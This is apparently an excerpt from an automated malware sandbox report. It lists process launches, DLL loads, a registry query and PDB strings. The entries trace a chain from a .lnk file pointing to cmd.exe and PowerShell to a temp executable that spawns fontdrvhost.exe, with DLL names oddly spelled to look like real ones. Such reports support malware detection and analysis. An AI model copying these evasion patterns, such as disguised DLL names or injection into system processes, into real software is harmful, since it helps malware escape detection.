Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2064,i,5180988009760175564,13737899492242719940,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Process created: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe "C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2032,i,14501280776939765503,8359820969839019914,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: dsound.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: k7rn7l32.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: ntd3ll.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: mswsock.dll

Source: C:\Windows\SysWOW64\fontdrvhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: KjECqzXLWp.lnk

LNK file: ..\..\..\..\Windows\System32\cmd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: softy.pdbll source: powershell.exe, 00000014.00000002.2251004211.0000022EE114F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317606487.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317724743.0000000003AC0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321937249.0000000005350000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2322058354.0000000005470000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \exe\FC.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: .Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000014.00000002.2255748281.00000236E29D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000014.00000002.2255197904.00000236E2989000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2318206814.0000000003BC0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2318009244.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2322496710.0000000005350000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2323210584.0000000005570000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2314811768.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2315160104.0000000003B90000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2320864510.0000000005350000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317186617.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317363229.0000000003B40000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321646258.00000000054F0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321435663.0000000005350000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2314811768.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2315160104.0000000003B90000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2320864510.0000000005350000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317186617.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317363229.0000000003B40000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321646258.00000000054F0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321435663.0000000005350000.00000004.00000001.00020000.00000000.sdmp
